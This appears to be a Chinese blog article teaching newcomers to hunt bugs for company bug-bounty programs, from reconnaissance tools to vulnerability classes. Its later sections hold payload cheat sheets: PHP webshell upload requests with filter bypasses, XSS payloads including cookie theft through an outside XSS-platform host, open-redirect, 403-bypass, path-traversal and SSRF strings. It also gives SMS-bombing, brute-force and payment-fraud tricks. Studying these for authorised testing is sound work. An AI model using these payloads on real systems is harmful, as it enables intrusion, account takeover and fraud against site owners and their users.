免责声明
道一安全(本公众号)的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
前言
src推荐刚入门的新手首选公益src如漏洞盒子、补天src,因为漏洞盒子收录范围广,只要是国内的站点都收入,相比其它src平台挖掘难度非常适合新手。后续可以尝试先从一些小的src厂商入手。
首先是熟能生巧,我一开始挖洞的时候,是先从教育edusrc,cnvd平台进行挖掘漏洞,但这种打法如果放到src,我打的很吃力,因为前者基本都是拿网上公开的nday打,而后者全是技巧和思路。
在挖掘src的同时,必须读懂src平台的规则,千万不得越红线,同时也要熟悉src平台的收录规则,收录那些漏洞,不然挖到后发现被忽略,这样就前功尽弃了
前期信息收集
企业相关信息收集
企查查 (https://www.qcc.com)
天眼查 (https://www.tianyancha.com/)
启信宝(https://www.qixin.com/)
企查查、天眼查淘宝都有那种一天的会员。对于我们信息收集其实已经够用,个人更喜欢用企查查,因为它能一键导出域名,还可以直接查看企业关联的子公司,比较方便。
主要查询的信息:
一般大的 src 都有许多子公司, 企查查可以在所属集团中查看该集团下子公司,并且可以导出。
查看同电话企业基本都是子公司。
查看股份穿透图,一般来说控股超过 50% 的子公司的漏洞 SRC 收录的可能性都比较大。
查看企业下的 app、小程序、还有品牌的资产,直接在搜索引擎里搜索品牌可能会有意想不到的收获。(找到一些平常收集不到的资产)
PS: 一般来说 100% 的全资子公司 src 漏洞是一定会收的,其他子公司资产可能需要与 src 审核沟通(扯皮)。
站长之家:http://whois.chinaz.com/
邮箱反查、注册人反查、电话反查。
推荐个项目:https://github.com/code-scan/BroDomain 兄弟域名查询。
https://www.qimai.cn/
七麦数据,可以查到企业下一些比较冷门的 app。
信息整理
当我们通过各种手段对挖掘的企业进行信息收集后,我们大致能得到以下有用的信息
主公司及分公司、子公司下所有归属的网站域名信息;
主公司及分公司、子公司下所有的专利品牌和开发的一些独立系统。
主公司及分公司、子公司下所有的 app 资产和微信小程序。
之后我们需要对这些信息进行归纳和整理, 比如哪些是该公司的主资产,哪些是边缘资产,哪些资产看上去比较冷门,我们是可以重点关注和进行深入挖掘的。
子域名收集和网站信息收集
子域名的话,对于我来说 oneforall 和 xray 的功能已经足够强大了,对于一些主域名来说,如果想要充分的收集子域名,最好用特大号字典进行最少三层的子域名爆破。这块还是 layer 子域名挖掘机不错。
通过 github 收集子域名
先分享一个姿势,很多时候 github 上已经有热心的师傅分享了自己跑出的子域名,所以可以先到 github 找一找有没有现成的可以白嫖,没啥好语法,纯靠大海捞针。。
oneforAll
https://github.com/shmilylty/OneForAll
需要到配置文件里填写 api 接口信息,
根据需求修改其他的配置
,比如可以配置一些常见的端口,当做简单的端口扫描工具用。
命令
python oneforall.py --targets ./domain.txt run
python oneforall.py --targets ./domain.txt --brute true run
我实际操作发现在挂了外网代理和没挂代理时跑出来的子域有时候差的有点大,想收集的全一点的师傅可以不挂代理和挂代理都跑一遍。然后去重一下。
xray
子域名探测需要高级版,可以自己写个十几行的代码进行批量探测,也可以直接用这个项目里的代码,
https://github.com/timwhitez/rad-xray 命令改一下能批量探测子域名,一般 5 到 10 分钟一个子域。
Goby
官网:https://gobies.org/
因为之前一直在用 masscan+nmap 的方式进行端口扫描,用这个项目:https://github.com/hellogoldsnakeman/masnmapscan-V1.0
前一段时间接触到goby,感觉可视化的工具用起来还是舒服,可以短时间对一些常见端口进行扫描,还能对网站进行指纹识别,报告看起来挺舒服的。
因为在实际的端口扫描过程,由于 cdn 或者防火墙的原因,所以没必要一上来就全端口扫描,听一位师傅分享的经验,比如当扫描到 22 端口开放时,说明这个 ip 没有 cdn 保护,对于这种 ip 我们可以提取出来,然后重点进行全端口扫描,有收获的可能性会比较大。
BBScan
猪猪侠师傅写的工具,速度很快,简单的目录扫描,主要是可以探测 C 段下面的很多资产,扩充攻击面。
项目地址:
https://github.com/lijiejie/BBScan
https://github.com/yhy0/BBScan (添加了 springboot 的泄露探测)
可以对域名、ip、C 段进行探测
快速探测管理后台
进行端口探测
探测敏感信息泄露
可以自定义扫描规则
report 下看报告, 误报肯定会很多,但 C 段下很可能会有意想不到的资产。
js 信息收集
主要是爬取网站的敏感 js 文件,js 中能收集到的信息:
增加攻击面 (url、域名)
敏感信息 (密码、API 密钥、加密方式)
代码中的潜在危险函数操作
具有已知漏洞的框架
常用的工具
速度很快的 jsfinder https://github.com/Threezh1/JSFinder
xray 的 rad 爬虫 https://github.com/chaitin/rad
能够匹配敏感信息的JSINFO-SCAN:https://github.com/p1g3/JSINFO-SCAN
捡中低危漏洞的一些技巧
刚开始挖 src 往往不知道从哪下手,首先我们其实可以从各个 src 平台提交漏洞下拉框里看一看收取的漏洞类型。然后针对性的去学习如何挖掘,比如某 src 收取的漏洞类型, 我们就可以针对性的学习对应的挖掘技巧。
框架注入
明文密码传输
表单破解漏洞
IIS短文件名泄露
老旧过期的HTTPS服务
跨目录下载漏洞
目录可浏览漏洞
LFI本地文件包含漏洞
RFI远程文件包含漏洞
HTTP拒绝服务攻击
弱口令登录
CSRF跨站点请求伪造
Flash点击劫持
SQL注入漏洞
XSS跨站脚本漏洞
文件上传漏洞
解析漏洞:IIS解析漏洞
解析漏洞:Apache解析漏洞
Cookies注入漏洞
越权访问漏洞
命令执行漏洞
Struts2远程代码执行漏洞
业务逻辑漏洞
用户隐私泄露
敏感信息泄漏(运维)
敏感信息泄漏(研发)
敏感文件泄漏(运维)(配置)
敏感文件泄漏(运维)(权限)
未验证的重定向和传递
Flash跨域访问资源
测试文件泄漏
开启危险的HTTP方法
HTTP参数污染
Unicode编码绕过
源码泄漏
后台目录泄漏
链接注入漏洞
SSRF服务器请求伪造
jsonp劫持
学习完基础的漏洞类型后,我们可以多看一些实战的漏洞报告。比如 wooyun 漏洞库和 hackone 上的报告。
乌云漏洞库:https://wooyun.x10sec.org/
hackone 报告:https://pan.baidu.com/s/1jPUSuoERSIDw2zCKZ0xTjA 提取码: 2klt
登录框处常见的一些漏洞
在我们通过对目标的前期信息收集之后,首当其冲的往往就是各种奇奇怪怪的登录框,一般来说,大型的企业为了减少安全问题,一般都是用统一的登录接口登录不同的旗下网站,但是一些后台系统,运维系统,或者一些边缘业务使用了独立的注册、登录体系,这个时候往往就会存在安全问题。
现在还能用的接码平台:
http://www.114sim.com/
https://yunduanxin.net/China-Phone-Number/
https://www.materialtools.com/
绕过限制导致的爆破、撞库、用户遍历漏洞
最常见的一种漏洞,尤其是一些老旧的后台系统,可能验证码抓个包就绕过去了。下面是一些常见的绕过姿势:
验证码不刷新
验证码抓包绕过
验证码删除绕过
验证码置空绕过
修改 xff 头绕过: 推荐个 burp 插件,https://github.com/TheKingOfDuck/burpFakeIP
账号后加空格绕过账号错误次数限制。
一般来说如果只是简单的验证码绕过,一般都是低危,所以一般能够绕过验证码的情况,都要尝试爆破一波账号密码。
弱口令漏洞
没有验证码或者验证码可以绕过的情况
直接上一手字典爆破,当然还是有一些小技巧:
比如可以设置固定的弱密码,比如 123456,然后爆破账号。
比如可以首先收集一些网站的信息针对性的制作字典,比如域名,员工邮箱,企业名称等等, 推荐工具: 白鹿社工字典生成:https://github.com/HongLuDianXue/BaiLu-SED-Tool
爆破的关键在于字典,常见的字典 github 上都有, 但是普通的弱口令现在确实不太好用了,要想提高成功的机率,还是需要碰一碰强密码,分享先知的文章:
https://xz.aliyun.com/t/7823
https://github.com/huyuanzhi2/password_brute_dictionary
有验证码且无法绕过的情况
github 直接找员工账号邮箱,密码。
源码或者 js 文件查找线索,邮箱,或者加密的账号密码。
特定系统或者 cms,搜索引擎搜索默认管理员或者测试密码。
手动尝试常见弱口令。
注册、登录、找回密码处的短信 邮箱轰炸漏洞
这个也挺常见的,一般可以对特定用户进行轰炸的是一定会收的,横向轰炸能够消耗资源的随缘收。常见的绕过姿势:
加空格绕过
加任意字母绕过
前面加 86 绕过
xff 头伪造 ip 绕过
逻辑缺陷的导致的任意用户注册、登录、找回密码漏洞
因为这方面漏洞一旦出现基本都是高危,所以挖掘的时候
类似的思路我就不细说了, freebuf 上有任意用户密码重置的系列文章, 类似漏洞思路其实相差不大:
https://www.freebuf.com/author/yangyangwithgnu
常见的信息泄露漏洞
敏感信息泄露的范围很广,我认为一般就是两大类,
因为配置错误或者管理不当导致的企业内部信息泄露。
因为逻辑缺陷导致的用户资料泄露 (遍历)。
github 导致的信息泄露
P 牛知识星球里分享的 github 搜索关键词:https://twitter.com/obheda12/status/1316513838716551169
github子域名监控项目:https://github.com/FeeiCN/GSIL
常见的泄露内容:
乌云上有一些案例,可以看一看。
员工内部邮箱、登录账号、密码。
企业的一些内部系统域名、ip 泄露。
企业网站的工程代码、网站源码泄露,可以通过员工邮箱关键词查找,要注意日期,好几年的大概率不收了。
配置错误导致的信息泄露
包含的类型很多,最重要的是有一份足够强大的字典和一个好用的扫描器。
在实际进行探测的时候,对于大批量的域名来说,更喜欢先用一份精简的小字典先进行快速扫描
比如:
备份文件的小字典
springboot 泄露的小字典
网站后台的小字典
比较出名的扫描器我们常见的 dirsearch、dirmap,dirbuster 等等。
可视化的比如 TEST404 系列、御剑扫描器使用体验也不错。
注: 信息泄露中比较常见的 swagger-ui 服务泄露,可能直接提交会忽略或者低危,别忘了进一步测试泄露的接口功能。
越权导致的信息泄露
很多时候越权来来去去都是更改一个参数的问题, 更多的时候还是要细心的一个一个测业务功能,注意观察和测试操作参数和对象参数,操作参数一般是增删改查对应特定业务的敏感操作、对象参数一般是用户或者物品等。
推荐几个 burp 插件:
未授权检测:https://github.com/theLSA/burp-unauth-checker
敏感参数提取:https://github.com/theLSA/burp-sensitive-param-extractor
信息提取:https://github.com/theLSA/burp-info-extractor
插件的作用基本还是帮助我们快速定位敏感参数,实际测试还是需要我们一个包一个包仔细的分析程序逻辑。
常见的一些越权情况:
基于用户 ID 的越权
基于功能对象 ID 的越权
基于上传对象 ID 的越权
基于未授权访问的越权
基于功能地址的越权
基于接口身份的越权
常见漏洞挖掘技巧
文件上传
嵌套xss语句
svg、pdf、html、xml
<html>
<head>
<title></title>
<meta charset="utf-8">
<script type="text/javascript">
alert("testxss");
</script>
</head>
<body>
*svg
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" />
<script>alert(1)</script>
</svg>
<svg version=”1.1" baseProfile=”full” xmlns=”http://www.w3.org/2000/svg">
<polygon id=”triangle” points=”0,0 0,50 50,0" fill=”#009901" stroke=”#004400"/>
<script type=”text/javascript”>
alert(document.cookie);
</script>
</svg>
存在文件上传的地方, 嵌套xss语句
将准备好了的图片xss上传,imge/png ,html.html.png
svg重定向
<code>
<svg
onload"window.location='http://www.example.com'"
xmlns="http://www.w3.org/2000/svg">
</svg>
</code>
路径可控
当上传的路径时候,如果不能上传解析路径,则可以尝试是否存路径可控
则原来是user_apply_file
修改后上传的路径为1/23/456/user_app_file
绕过
黑名单
phtml、pht、php、php3、php4、php5
后缀大小写
此方法适合windows环境下,如果是Php,可以当做php来解析
后缀名空绕过
那么php和php ,当然是不⼀样的
"shell.png " filename=
后缀名为点绕过
#**windows**中有一个特性,会自动去掉后缀名的
------WebKitFormBoundary0BAvi6S3ETKPlJw4
Content-Disposition: form-data; name="upload_file"; filename="shell.php."
Content-Type: image/png
eval($_REQUEST[8]);
------WebKitFormBoundary0BAvi6S3ETKPlJw4
::$DATA
#windows文件流绕过
------WebKitFormBoundary6iEJqkiHLxaG6mxM
Content-Disposition: form-data; name="upload_file"; filename="shell.php:DATA"
Content-Type: image/png
eval($_REQUEST[8]);
------WebKitFormBoundary6iEJqkiHLxaG6mxM
构造文件后缀绕过
#file_ext = strrchr($file_name, '.');是检测末尾最后是否是. (很明显是为了防御双写.)我们可以写⼀个空
------WebKitFormBoundary3b4MZBZoOnzEpoeC
Content-Disposition: form-data; name="upload_file"; filename="shell.php. ."
Content-Type: image/png
eval($_REQUEST[8]);
------WebKitFormBoundary3b4MZBZoOnzEpoeC
双写绕过
#$file_name = str_ireplace($deny_ext,"", $file_name);这⾥的意思就是讲检测到的危险字符替换为空
------WebKitFormBoundary3b4MZBZoOnzEpoeC
Content-Disposition: form-data; name="upload_file"; filename="shell.pphphp"
Content-Type: image/png
eval($_REQUEST[8]);
------WebKitFormBoundary3b4MZBZoOnzEpoeC
%00截断
$img_path = $_GET['save_path']."/".rand(10,99).date("YmdHis").".".$file_ext;这⾥很明显使⽤了直接的拼接 他会⾃动重命名,
POST /Pass-11/index.php?save_path="'/upload/shell.php%00 HTTP/1.1
Host: 59.63.200.79:8016
-----WebKitFormBoundaryZIDuWzIommKYBtmZ
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
Content-Type: image/jpeg
<?php eval($_REQUEST[8]);?>
------WebKitFormBoundaryZIDuWzIommKYBtmZ`
IIS6解析漏洞
分号截断
使用分号进行截断,访问的时候要访问带分号的全名
test.asa;1.gif
目录名代.asp
目录名代.asp,目录内的文件就会被当做asp文件执行
123.asp/12.jpg
CGI解析漏洞
在文件名后加/.php,文件就会被当做php截止
1.jpg/.php
逻辑漏洞
登陆口总结
轰炸、注册、验证码爆破、验证码相关、nday、弱口令、ddos、注入、枚举、越权、二维码劫持、js、url、返回包、信息泄露、rce、xss、ssrf、sql
短信轰炸
可以使用并发、url编码进行、重放
手机号码前后加空格,86,086,0086,+86,0,00,/r,/n, ,以及特殊符号等
mobile=1xxxxxxxxxx&openid=
%09 TAB 键(水平)、%0a 新建一行、%0c 新的一页、%0d return 功能、%0b TAB 键(垂直)、%a0 空格
验证码DOS
&height=1111&h=1111&size&1111&ma
验证码回显
邀请码泄露
绑定关系
如使用1的手机号的验证码,如输入2的手机的验证码,来修改密码或者登录
修改返回包
flase--true
双写
在注册用户的时候,输入两个手机号:mobile=123456,123456
在删除用户信息的时候,如果用户的账号是通过uid来判断的,可以尝试是否能双写
奇葩绕过
输入需要找回的用户
在下发手机验证码时候用burp将手机改为自己的手机号
输入我们收到的验证码,提交时将手机修改为自己的手机号
然后输入新的密码
重置链接
重置密码,会将链接发送到邮箱中,可以通过邮箱base64解码,来判断账号
js验证
查看源代码是否有信息
任意用户注册
可以利用恶意注册用户,来消耗系统资源
#验证码和手机号没有做绑定
#使用一个正确的手机号获取一个验证码,输入验证码后,将原来的手机号换成其他的
二维码登录劫持
很多网站都会有二维码登录,扫描后直接就可以登录对应的账号,但是在二维码扫描后没有进行再次确认,就会导致二维码劫持,可以将二维码转换成url后进行发送给好友进行点击
接管账号
密码重置
密码为空
name=lili&oldpass=1111111&newpass=123456&newpass=123456
name=lili&newpass=123456&newpass=123456 #将密码设置为空
token票据
由于设计缺陷,会预设类似于token的效验票据,可能导致admin票据任意密码重置
将access0-reset-ticket的票据设置到自己需要设置重置密码的票据
api接口重置密码
如果在登录框中没有可利用点,就尝试在js文档中,查看是否有接口路径
# /BaseInfo/SystemSet/AlterPassword.html?ID=1
这里的id等于1,则是管理员账户的重置密码
短信验证码
在任意密码重置的时候,输入的手机号码是B账户的,发送请求包
burp中拦截请求包,在请求包中修改手机号码为A的手机的账户
在A的手机上接受到验证码后,将验证码输入到当时重置密码的时候B账户
如此就可以成功进入到B账户的重置密码的界面了
业务
业务回退
这一步的时候,将填写密码的url复制到其它浏览器中,如果还是可以能修改密码,则存在业务回退‘、
业务查询
业务上线一般存在业务查询范围中,如果设定了指定的查询天数,如果通过修改的参数,来实现可以查看的天数,则存在该逻辑漏洞
优惠卷
# 第一反应就是遍历、并发
如果并发不行,就可以尝试将浏览器回退前面一个网页 然后继续领取
或者是修改本地的时间
限制地理位置
这里可以通过burp抓包工具抓包,查看调用的什么接口,让后观察请求的内容是否有地理位置,如果存在,则使用百度或者其他地理位置查询,查询到坐标后,进行修改。
支付漏洞
-
签约漏洞
比如首月多少6,第二个月开始20,尝试在购买的时候,分别使用两个支付方式支付,然后都支付后,发现是否使用两个6元支付,是否能获得两个月的
-
购买年限
修改年限的数字、拆分购买:count=1year-------count=1day -----根据场景来替换
-
负数购买
修改数量、金币为负数、修改uid为其他人的,尝试越权花别人钱
-
支付续费漏洞
比如,先购买黄金会员,在购买铂金会员,查看是否是两个月的铂金会员
不认识的参数,逐个去翻译,去了解,根据经验看这个点
一分钱不花东西拿走:实现方式:数量改成0、金额修改、支付类型修改 -
付费简历
越权:前端越权、后端越权 #灰色(disable) 电子书、禁止下载、登录口
并发
Turbo Intruder 是一个 BurpSuite 插件,用于发送大量HTTP请求并分析结果
测试并发漏洞
并发与爆破的区别是,并发是同一个时间发送的请求,在上方框中,插入一个x-req:%s
在burp中设置需要使用的点和py脚本
在30个连接中各放入一个请求,但会留下最后一个字节不发送出去,然后在第 15 行处等待30个连接中的请求都准备好后一起发送最后一个字节,这样服务器就会同时处理30个请求,从而达到了并发测试的目的。
任意文件下载
在含有下载的参数中:file=../../../../etc/passwd
重点:path、filename,有点像目录遍历,跨目录、../../超出限制等。下载或读取其他文件
原来是:path=edu.gi
path=/etc/passwd
越权
在返回包中,查看是否存在一个数组为空的情况,如果存在则一般就会有越权
越权删除
如果在请求包中删除的是id,如果单个id不能删除的话,可以进行尝试#{454,568}
url跳转
白名单
url=http://example.com@evil.com
url=http://example.com/evil.com
从参数入手:
radirect
redirect_to
redirect_url
url
jump
jump_to
target
to
link
linkto
domain
绕过技巧
#斜线绕过
url=/www.baidu.com
//www.baidu.com
#符号绕过
url=https://www.xx.com@www.baidu.com
https://www.xx.com#www.baidu.com
https://www.xx.com/www.baidu.com
https://www.xx.com?www.baidu.com
https://www.xx.com\www.baidu.com
url=.evil.com
.
/%09/google.com
/%5cgoogle.com
//www.google.com/%2f%2e%2e
//www.google.com/%2e%2e
//google.com/
//google.com/%2f..
//google.com
/victim.com:80%40google.com
#可能的开放重定向参数
?url=http://{target}
?url=https://{target}
?next=http://{target}
?next=https://{target}
?url=https://{target}
?url=http://{target}
?url=//{target}
?url=$2f%2f{target}
?next=//{target}
?next=$2f%2f{target}
?url=//{target}
?url=$2f%2f{target}
?url=//{target}
/redirect/{target}
/cgi-bin/redirect.cgi?{target}
/out/{target}
/out?{target}
/out?/{target}
/out?//{target}
/out?/{target}
/out?///{target}
?view={target}
?view=/{target}
?view=//{target}
?view=/{target}
?view=///{target}
/login?to={target}
/login?to=/{target}
/login?to=//{target}
/login?to=/{target}
/login?to=///{target}
TRACE
绕过403和401
-
1. 通过添加请求头:X-Originating-IP,X-Remote-IP,X-client-IP,X-Forwarded等。
有些公司会为那些能够访问敏感数据的人将IP列入白名单。这些报头将IP地址作为一个值,如果提供的IP与它们的白名单中的IP相匹配,您就可以访问资源。
2. 使用unicode字符:尝试插入unicode字符以绕过防御。例如,尝试% = ca、% = sa和许多其他 (检查这里或这里)。因此,如果/cadmin被阻止,请尝试访问%dmin。
3. 如果GET /admin返回403 Forbidden,尝试GET /accessible (任何可访问端点)并添加以下任何HTTP头:
X-Original-URL : /admin
X-override-URL : /admin
X-Rewrite-URL : /admin
4. 尝试不同的有效负载如果GET /admin返回403 Forbidden,尝试访问:
/accessible/..;/admin
/.;/admin
/admin;/
/admin/-
/./admin/./
/admin?param
/%2e/admin
/admin#
5. 转换请求方法:将方法从GET改为POST,看看是否得到了一些东西。
6. 访问真实IP:通过网站的IP访问该网站以获取被禁止的内容。
7. Fuzzing:通过扫描被禁止内容的下一级目录或文件。
信息泄露
AK/SK泄露
AccessKeyId
SecretAccessKey
git源码泄露
利用工具 githack.py 利用工具将源码下载下来,python githack.py http://ip/.git/ 下载下来
git log #查看历史配置
git diff 5341311234656321.321 #查看配置信息
svn信息泄露
.svn/entries https://github.com/admintony/svnExploit
其它泄露
/.bash_history #泄露的是历史操作命令
/debug/pprof/cmdline
/.git/index/
.svn/entries
/.DS_Store
/graphql
/tenant
/sources
actuator/env/
/swagger-ui.html...
druid未授权访问
# druid未授权访问
ip/druid/index.html ##Druid Index
ip/druid/sql.html#Druid sql监控页面
ip/druid/weburi.html#Druid Web URI监控页面
ip/druid/websession.html#Druid Web Session监控页面
json:ip/druid/weburi.json ##Druid Web URI json
ip/druid/websession.json ##Druid Web Session json
Druid登录接口:ipl/druid/login..html#Druid登录认证页面Druid:未授权访问路径
授权
在一些平台中,如果存在授权手机号的时候,可以通过burp抓包,然后来查看是否有返回的信息,因此可以遍历手机号查看是否有遍历
隐私合规
通过弹窗,注册app首次运行
隐私政策中点不进去或者点进去404
注册同意默认就勾了
隐私政策点进去是乱码
报告
标题:xxapp1.1.1版本存在隐私合规用户自动同意隐私政策漏洞
内容
修复建议:
拒绝提供不必要信息直接退出app的时候,也算是隐私合规
匿名头像
在评论处如果看到有匿名评论,可以通过抓包抓取到用户的评论,查看他对应的id号
可以将id号拼
地图key
高德webapi:
https://restapi.amap.com/v3/direction/walking?origin=116.434307,39.90909&destination=116.434446,39.90816&key=这里写key
高德jsapi:
https://restapi.amap.com/v3/geocode/regeo?key=这里写key&s=rsv3&location=116.434446,39.90816&callback=jsonp_258885_&platform=JS
高德小程序定位:
https://restapi.amap.com/v3/geocode/regeo?key=这里写key&location=117.19674%2C39.14784&extensions=all&s=rsx&platform=WXJS&appname=c589cf63f592ac13bcab35f8cd18f495&sdkversion=1.2.0&logversion=2.0
百度webapi:
https://api.map.baidu.com/place/v2/search?query=ATM机&tag=银行®ion=北京&output=json&ak=这里写key
百度webapiIOS版:
https://api.map.baidu.com/place/v2/search?query=ATM机&tag=银行®ion=北京&output=json&ak=这里写key=iPhone7%2C2&mcode=com.didapinche.taxi&os=12.5.6
腾讯webapi:
https://apis.map.qq.com/ws/place/v1/search?keyword=酒店&boundary=nearby(39.908491,116.374328,1000)&key=这里写key
存在xx地图api接管漏洞,攻击者可利用抓取的xx地图ak值任意调用属于xx的xx地图的api额度造成XX的xx地图api额度被恶意盗用,消耗等。当额度被消耗完毕后,会造成地图加载异常,定位服务无法使用等,影响用户体验。
未授权
jsfind
将跑出来的东西放到burp里面跑,尝试访问一下,看是否存在未授权访问
在burp中添加以下字段
?pageNum=1&pageSize=10
拒绝服务
资源生成大小可控
此类场景存在:图片验证码、二维码 、找回密码
关注一下接口地址:https://attack/validcode?w=130&h=53
参数值:w=130&h=53,我们可以理解为生成的验证码大小长为130,宽为53
#可以根据修改参数的大小来判断服务器返回的时间
height=1111
h=1111
size=1111
margin=1111
CSRF
退出
在保存头像的时候通过抓包,然后修改头像的储存地址,将其修改为登录退出的url
portrait=http://baidu.com ====> http://baidu.com/logout
当其他的人在评论区访问后,浏览器会加载该头像的地址,可以直接造成用户直接退出
绕过:
如果检测了referer头,可以尝试一下方案
删除refere头
将http请求头的目录名字设置为网站检测的fefere头
配合存储xss绕过严谨
XSS
xss解析标签
函数:alert(),confirm(),prompt()
可以在url后面:?url=javascript:alert'1'
<script>alert('X');</script>
//<img src="image.jpg" alt="Description of the image">
//<img src="valid-image.jpg" onerror="alert('Image failed to load')">(使用onfocus属性)
<img src="javascript:alert('XSS Attack');" />
<img src="invalid-image" onerror="alert('XSS Attack');" />
<img src="valid-image.jpg" onerror="alert('XSS Attack')" />
<img src="javascript:eval('alert('XSS Attack')')" /> 使用eval函数执行代码
//<a href="https://www.example.com">Visit Example Website</a>
//<a onmouseover="console.log('Mouse over the link')">Hover me</a>(使用onmouseover属性)
<a href="javascript:alert('XSS Attack');">Click me </a>
<a style="color:red;" onmouseover="alert('XSS Attack')">Hover me</a>
//<iframe src="https://www.example.com" width="600" height="400"></iframe>
<iframe src="javascript:alert('XSS Attack');"></iframe>
//<svg width="100" height="100">
<circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red" />
</svg>
<svg onload="alert('XSS Attack')"></svg>
<body onload="alert('XSS Attack')"></body>
<body background="javascript:alert('XSS Attack')">
<body style="background-image: url(javascript:alert('XSS Attack'))">
<input type="text" onfocus="alert('XSS Attack');" />
//<div onmouseover="console.log('Mouse over the div')">Hover me</div>
<div onmouseover="alert('XSS Attack')">Hover me</div>
<table background="javascript:alert('XSS Attack')"></table>
<form action="javascript:alert('XSS Attack')">
<!-- form fields go here -->
</form>
<input type="image" src="javascript:alert('XSS Attack')" />
<base href="javascript:alert('XSS Attack')">
反射性xss出现点
#搜索框
用户在搜索框中输入的关键词,如果没有正确过滤和转义用户输入,可能导致反射性xss
#url参数
如果应用没有对这些参数进行适当的处理,可能导致反射性xss
#表单提交
#评论和留言板
评论和留言板更容易导致存储型xss,但是在某些情况下,如果没有对功能点进行过滤和转义,可能导致反射性xss
#分页和排序
web应用可能使用rul参数进行分页和排序,如果没有对这些参数进行适当的过滤和转义,可能导致反射性xss
#数据可视化和报表
web应用可能使用用户输入的参数进行适当的过滤和转义,可能导致反射性xss
#路径导航
web应用可能在路径导航中包含用户输入的内容,如果没有正确处理这些输入,可能导致反射性xss
url参数
在url参数中,尝试修改参数的值,然后查看网页源代码中是否有参数值,接着在尝试闭合绕过
流程
参数->猜测每一个参数->查看源码->尝试闭合->进行测试<u>a</u>->猜测标签->事件->函数
xss头像
同上所诉,在修改头像保存位置,可以结合利用xss平台,修改为xss平台获取cookie
portrait=http://baidu.com ====> http://xss.xsscookie.com
XSS插件
首先先在cmd命令中,运行phpantomjs.exe xss.js
接着选择payload
sql注入
X-Forwarded-For注入
他代表了客户端的真实ip,通过修改的值就可以伪造 客户端ip,如果程序中获取了这个值,然后带入到数据库中,就会造成sql注入
rce
登录位置
在用户输入账户和密码的时候,可以造成rce
js
api接口泄露
查看js源码中,查看是否存在api的接口,如果存在如:/api/register/user 则可以尝试是否存在可以利用点,一般情况下就直接拼接api接口,如果返回报错了,可以观察响应包中的内容,进行猜测。
ssrf
ssrf伪协议利用
http://Web常见访问,如http://127.0.0.1
file://从文件系统中获取文件内容,如,file://etc/passwd
dict://字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp://SSH文件传输协议或安全文件传输协议
ldap://轻量级目录访问协议
t计tp://简单文件传输协议
gopher://分布式文档传递服务,可使用gopherus生成payload
功能点
url解析与重定向、图片上传与处理、文件上传与处理、webhook功能、远程文件包含
<iframe src="http://6p076o.dnslog.cn">
保存头像
点击保存头像,开启burpsuite抓包
可以看到avatar的一个参数,采用的是请求其他地方的图片,此时我们对这条URL进行修改
凭借dnslog并用#注释掉后面的URL地址
容易参生ssrf的参数
url:表示外部资源的url
redirect:用于重定向到外部资源的url
callback:表示回调uro
images:表示外部图片资源的url
source:表示外部资源的来源url
domain:表示要解析或访问的域名
link:表示外部资源的链接url
data:表示外部数据资源的url
webhook:表示用于第三方通知的第三方服务的url
绕过的方法
-
利用不同的ip表示法:尝试使用(十进制、八进制、十六进制)等绕过方法
-
利用域名解析:使用特殊的域名或者子域名、如localhost、127.0.0.1.xio.io等
-
利用url编码:尝试使用不同的url编码方式,如字符编码、双重编码等
-
利用url解析差异:利用web应用程序和底层服务器之间url解析差异,如使用@符号
http://www.xxx.com@www.xxyy.com
-
利于用http重定向:利用http重定向(如301,302跳转)将请求从外部资源访问到内部资源
攻击者在自己控制的服务器上设置一个HTTP302重定向。例如,当访问http://evi1.com/redirect'时,
服务器将返回一个HTTP302响应,告知客户端重定向到目标内部资源,
如'http://target-internal-service.local`。
gppher协议
Gopher 协议是 HTTP 协议出现之前,在 Internet 上常⻅且常⽤的⼀个协议。当然现在 Gopher 协议已经慢慢淡出 历史。Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作⽤。利⽤此协议可以攻击内⽹的 FTP、 Telnet、Redis、Memcache,也可以进⾏ GET、POST 请求。这⽆疑极⼤拓宽了 SSRF 的攻击⾯
协议格式
gopher url 格式为:
gopher://<host>:<port>/<gopher-path>
<port> 默认为70。
<gopher-path> 其中格式可以是如下其中的⼀种
<gophertype><selector>
<gophertype><selector>%09<search>
<gophertype><selector>%09<search>%09<gopher+_string>
整个 部分可以省略,这时候 也可以省略 为默认的1。是⼀个单字符⽤来表示url 资源的类型,在常⽤的安全测试中发现不管这个字符是什么都不影响,只要有 就⾏了。
CORS
CORS(Cross-Origin Resource Sharing)即跨域资源共享,是用于绕过SOP(同源策略)来实现跨域资源访问的一种技术,是HTML5提供的一种机制。
当在请求头中加入
Origin:www.test.com
如果返回包中响应了
Access-Control-Allow-origin www.test.com
Access-Control-Allow-Credentials true
#因此就存在cors
添加运营回复进群加群获取更多资源和POC
群内不定期更新各种POC
文章参考:
https://xz.aliyun.com/t/14211?time__1311=mqmx9QiQi%3DE4lxGgpDymDueHqeGKU3x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ftab%2F4#toc-1
https://blog.csdn.net/MachineGunJoe/article/details/132832963
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论